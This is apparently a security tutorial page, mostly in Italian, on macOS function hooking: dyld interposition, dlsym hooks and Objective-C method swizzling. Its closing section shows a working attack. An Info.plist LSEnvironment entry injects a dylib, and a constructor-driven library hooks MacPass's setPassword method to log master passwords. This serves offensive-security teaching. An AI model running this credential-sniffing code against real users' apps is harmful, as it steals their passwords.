# macOS Function Hooking

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</details>

## Interposizione di funzioni

Crea una **dylib** con una sezione **`__interpose`** (o una sezione contrassegnata con **`S_INTERPOSING`**) contenente tuple di **puntatori a funzioni** che si riferiscono alle funzioni **originali** e alle funzioni **di sostituzione**.

Successivamente, **inietta** la dylib con **`DYLD_INSERT_LIBRARIES`** (l'interposizione deve avvenire prima del caricamento dell'app principale). Ovviamente, le [**restrizioni** applicate all'uso di **`DYLD_INSERT_LIBRARIES`** si applicano anche qui](macos-library-injection/#check-restrictions).

### Interposizione di printf

{% tabs %}
{% tab title="interpose.c" %}
{% code title="interpose.c" %}
```c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
```
{% endcode %}
{% endtab %}

{% tab title="hello.c" %}
```c
//gcc hello.c -o hello
#include <stdio.h>

int main() {
printf("Hello World!\n");
return 0;
}
```

```c
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>

typedef int (*orig_open_type)(const char *pathname, int flags);
typedef FILE *(*orig_fopen_type)(const char *pathname, const char *mode);

int open(const char *pathname, int flags) {
    orig_open_type orig_open;
    orig_open = (orig_open_type)dlsym(RTLD_NEXT, "open");
    printf("Opening file: %s\n", pathname);
    return orig_open(pathname, flags);
}

FILE *fopen(const char *pathname, const char *mode) {
    orig_fopen_type orig_fopen;
    orig_fopen = (orig_fopen_type)dlsym(RTLD_NEXT, "fopen");
    printf("Opening file: %s\n", pathname);
    return orig_fopen(pathname, mode);
}
```

This code demonstrates how to use function hooking in macOS using the `dlsym` function. The `open` and `fopen` functions are intercepted and their behavior is modified to print a message before executing the original function. The `orig_open_type` and `orig_fopen_type` typedefs are used to define function pointers to the original functions. The `dlsym` function is used to obtain the address of the original functions, which are then called using the function pointers.

```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib

#include <stdio.h>

#define DYLD_INTERPOSE(_replacement, _replacee) \
__attribute__((used)) static struct { \
const void* replacement; \
const void* replacee; \
} _interpose_##_replacee __attribute__ ((section("__DATA, __interpose"))) = { \
(const void*) (unsigned long) &_replacement, \
(const void*) (unsigned long) &_replacee \
};

int my_printf(const char *format, ...)
{
int ret = printf("Hello from interpose\n");
return ret;
}

DYLD_INTERPOSE(my_printf,printf);
```
{% endtab %}
{% endtabs %}

```bash
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose
```

## Method Swizzling

In ObjectiveC, così viene chiamato un metodo: **`[istanzaMiaClasse nomeDelMetodoPrimoParam:param1 secondoParam:param2]`**

Sono necessari l'**oggetto**, il **metodo** e i **parametri**. E quando un metodo viene chiamato, viene inviato un **msg** utilizzando la funzione **`objc_msgSend`**: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`

L'oggetto è **`someObject`**, il metodo è **`@selector(method1p1:p2:)`** e gli argomenti sono **value1**, **value2**.

Seguendo le strutture degli oggetti, è possibile raggiungere un **array di metodi** in cui sono **localizzati** i **nomi** e i **puntatori** al codice del metodo.

{% hint style="danger" %}
Nota che poiché i metodi e le classi vengono accessibili in base ai loro nomi, queste informazioni sono memorizzate nel binario, quindi è possibile recuperarle con `otool -ov </path/bin>` o [`class-dump </path/bin>`](https://github.com/nygard/class-dump)
{% endhint %}

### Accesso ai metodi grezzi

È possibile accedere alle informazioni dei metodi come il nome, il numero di parametri o l'indirizzo, come nell'esempio seguente:

```objectivec
// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}
```

### Method Swizzling con method\_exchangeImplementations

La funzione **`method_exchangeImplementations`** consente di **cambiare** l'**indirizzo** dell'**implementazione** di una funzione con un'altra.

{% hint style="danger" %}
Quindi quando una funzione viene chiamata, viene **eseguita l'altra**.
{% endhint %}

```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}
```

{% hint style="warning" %}
In questo caso, se il codice di implementazione del metodo legittimo verifica il nome del metodo, potrebbe rilevare questa sostituzione e impedirne l'esecuzione.

La seguente tecnica non ha questa restrizione.
{% endhint %}

### Sostituzione del metodo con method\_setImplementation

Il formato precedente è strano perché stai cambiando l'implementazione di due metodi l'uno con l'altro. Utilizzando la funzione **`method_setImplementation`** puoi **cambiare** l'**implementazione** di un **metodo con un altro**.

Ricorda solo di **memorizzare l'indirizzo dell'implementazione di quello originale** se hai intenzione di chiamarlo dalla nuova implementazione prima di sovrascriverlo, perché in seguito sarà molto complicato individuare quell'indirizzo.

```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}
```

## Metodologia di attacco di Hooking

In questa pagina sono stati discussi diversi modi per agganciare le funzioni. Tuttavia, essi implicano l'esecuzione di codice all'interno del processo per attaccare.

Per fare ciò, la tecnica più semplice da utilizzare è l'iniezione di [Dyld tramite variabili d'ambiente o dirottamento](macos-library-injection/macos-dyld-hijacking-and-dyld\_insert\_libraries.md). Tuttavia, suppongo che ciò possa essere fatto anche tramite [iniezione di processo Dylib](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port).

Entrambe le opzioni, tuttavia, sono limitate a binari/processi non protetti. Consultare ogni tecnica per saperne di più sulle limitazioni.

Tuttavia, un attacco di hooking di funzioni è molto specifico, un attaccante lo farebbe per rubare informazioni sensibili all'interno di un processo (altrimenti si farebbe semplicemente un attacco di iniezione di processo). E queste informazioni sensibili potrebbero trovarsi in App scaricate dall'utente, come MacPass.

Quindi, il vettore dell'attaccante sarebbe quello di trovare una vulnerabilità o rimuovere la firma dell'applicazione, iniettare la variabile d'ambiente **`DYLD_INSERT_LIBRARIES`** attraverso l'Info.plist dell'applicazione aggiungendo qualcosa come:

```xml
<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```

e quindi **ri-registrare** l'applicazione:

{% code overflow="wrap" %}
```bash
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app
```
{% endcode %}

Aggiungi in quella libreria il codice di hooking per esfiltrare le informazioni: Password, messaggi...

{% hint style="danger" %}
Nota che nelle versioni più recenti di macOS, se **rimuovi la firma** del binario dell'applicazione e questa è stata eseguita in precedenza, macOS **non eseguirà più l'applicazione**.
{% endhint %}

#### Esempio di libreria

```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}
```

## Riferimenti

* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)

<details>

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